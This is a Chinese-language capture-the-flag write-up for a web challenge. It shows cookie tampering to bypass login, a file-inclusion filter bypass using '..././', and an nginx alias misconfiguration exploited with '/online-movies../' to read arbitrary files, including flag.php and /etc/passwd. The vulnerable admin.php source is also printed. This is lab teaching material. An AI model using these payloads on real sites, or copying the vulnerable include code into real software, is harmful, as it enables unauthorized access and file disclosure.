题目内容:网站要上线了,还没测试呢,怎么办?

image.png
打开网站只有一个登录框,随便输入登陆一下,提示网站正在建设中
使用dirsearch扫描网站,发现robots.txt

  1. User-agent: *
  2. Disallow: /flag.php

但是flag.php中只有一个flag_is_here

接着使用burpsuit抓包,发现请求的cookie中有一项login=0,将值改为1之后,成功登录进去。(不能在login.php页面更改,要在首页更改)
image.png
看到有个manage,点进去试试
发现上面的地址变为

  1. http://ec34bcd4403e4e18a9d284df3a33df3cdc36baafb87d444a.changame.ichunqiu.com/manages/admin.php?module=index&name=php

module是index,name是php,看起来任意文件包含漏洞,试试读取flag.php,结果还是一样,只有flag_is_here

尝试使用伪协议,

  1. GET /manages/admin.php?module=php://input&name= HTTP/1.1
  2. <?php phpinfo(); ?>

依旧什么都没发生
后来看了wp才知道,还有nginx的漏洞可以用。。。

首先读取nginx的配置文件,但是程序将../过滤掉了,所以要使用..././

  1. #user nobody;
  2. worker_processes 1;
  3. #error_log logs/error.log;
  4. #error_log logs/error.log notice;
  5. #error_log logs/error.log info;
  6. #pid run/nginx.pid;
  7. events {
  8. worker_connections 1024;
  9. }
  10. http {
  11. include mime.types;
  12. default_type application/octet-stream;
  13. #log_format main '$remote_addr - $remote_user [$time_local] "$request" '
  14. # '$status $body_bytes_sent "$http_referer" '
  15. # '"$http_user_agent" "$http_x_forwarded_for"';
  16. #access_log logs/access.log main;
  17. sendfile on;
  18. #tcp_nopush on;
  19. #keepalive_timeout 0;
  20. keepalive_timeout 65;
  21. #gzip on;
  22. #server {
  23. # listen 80;
  24. # server_name localhost;
  25. #charset koi8-r;
  26. #access_log logs/host.access.log main;
  27. # location / {
  28. # root html;
  29. # index index.html index.htm;
  30. # }
  31. #error_page 404 /404.html;
  32. # redirect server error pages to the static page /50x.html
  33. #
  34. # error_page 500 502 503 504 /50x.html;
  35. # location = /50x.html {
  36. # root html;
  37. # }
  38. # proxy the PHP scripts to Apache listening on 127.0.0.1:80
  39. #
  40. #location ~ \.php$ {
  41. # proxy_pass http://127.0.0.1;
  42. #}
  43. # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
  44. #
  45. #location ~ \.php$ {
  46. # root html;
  47. # fastcgi_pass 127.0.0.1:9000;
  48. # fastcgi_index index.php;
  49. # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
  50. # include fastcgi_params;
  51. #}
  52. # deny access to .htaccess files, if Apache's document root
  53. # concurs with nginx's one
  54. #
  55. #location ~ /\.ht {
  56. # deny all;
  57. #}
  58. #}
  59. # another virtual host using mix of IP-, name-, and port-based configuration
  60. #
  61. #server {
  62. # listen 8000;
  63. # listen somename:8080;
  64. # server_name somename alias another.alias;
  65. # location / {
  66. # root html;
  67. # index index.html index.htm;
  68. # }
  69. #}
  70. # HTTPS server
  71. #
  72. #server {
  73. # listen 443 ssl;
  74. # server_name localhost;
  75. # ssl_certificate cert.pem;
  76. # ssl_certificate_key cert.key;
  77. # ssl_session_cache shared:SSL:1m;
  78. # ssl_session_timeout 5m;
  79. # ssl_ciphers HIGH:!aNULL:!MD5;
  80. # ssl_prefer_server_ciphers on;
  81. # location / {
  82. # root html;
  83. # index index.html index.htm;
  84. # }
  85. #}
  86. include sites-enabled/default;
  87. }

乍一看没什么问题,但是最后又include了一个文件,继续查看

  1. server {
  2. listen 80 default_server;
  3. listen [::]:80 default_server ipv6only=on;
  4. root /var/www/html;
  5. index index.php index.html index.htm;
  6. server_name localhost;
  7. location / {
  8. try_files $uri $uri/ =404;
  9. location ~ \.php$ {
  10. fastcgi_split_path_info ^(.+\.php)(/.+)$;
  11. fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
  12. #fastcgi_pass unix:/var/run/php5-fpm.sock;
  13. fastcgi_pass 127.0.0.1:9000;
  14. fastcgi_index index.php;
  15. include fastcgi_params;
  16. }
  17. }
  18. error_page 404 /404.html;
  19. error_page 500 502 503 504 /50x.html;
  20. location = /50x.html {
  21. root /var/www/html;
  22. }
  23. location /online-movies {
  24. alias /movie/;
  25. autoindex on;
  26. }
  27. location ~ /\.ht {
  28. deny all;
  29. }
  30. }

可以看到

  1. location /online-movies {
  2. alias /movie/;
  3. autoindex on;
  4. }

/online-movies后没有加上/,并且有autoindex on,那么访问/online-movies../就变成了/movie/../,然后就可以读取任意文件了。

payload

  1. /online-movies../var/www/html/flag.php

题目源码解析

读取一下admin.php看看

  1. <?php
  2. header("content-text:text/html;charset=gbk");
  3. if(!isset($_COOKIE['login']))
  4. setcookie("login", "0");
  5. if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
  6. die("<script>alert('You need to log in!');location.href='/login.php';</script>");
  7. if (!isset($_GET['module']) || !isset($_GET['name']))
  8. header("Location: admin.php?module=index&name=php");
  9. ?>
  10. <?php
  11. $ext = $_GET['name'];
  12. if ($ext === 'php') {
  13. $ext = ".".$ext;
  14. }else{
  15. $ext = '';
  16. }
  17. include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
  18. ?>

login这一部分就不用说了,重点在下面的include部分。
因为是采用的字符串拼接,所以不能使用伪协议,而后面的str_replace部分,是将../替换为空字符串,所以才要使用..././的形式,将中间的../替换之后,得到的结果正好是../

至于为什么知道是nginx,从404页面就可以知道,也可以通过读取/etc/passwd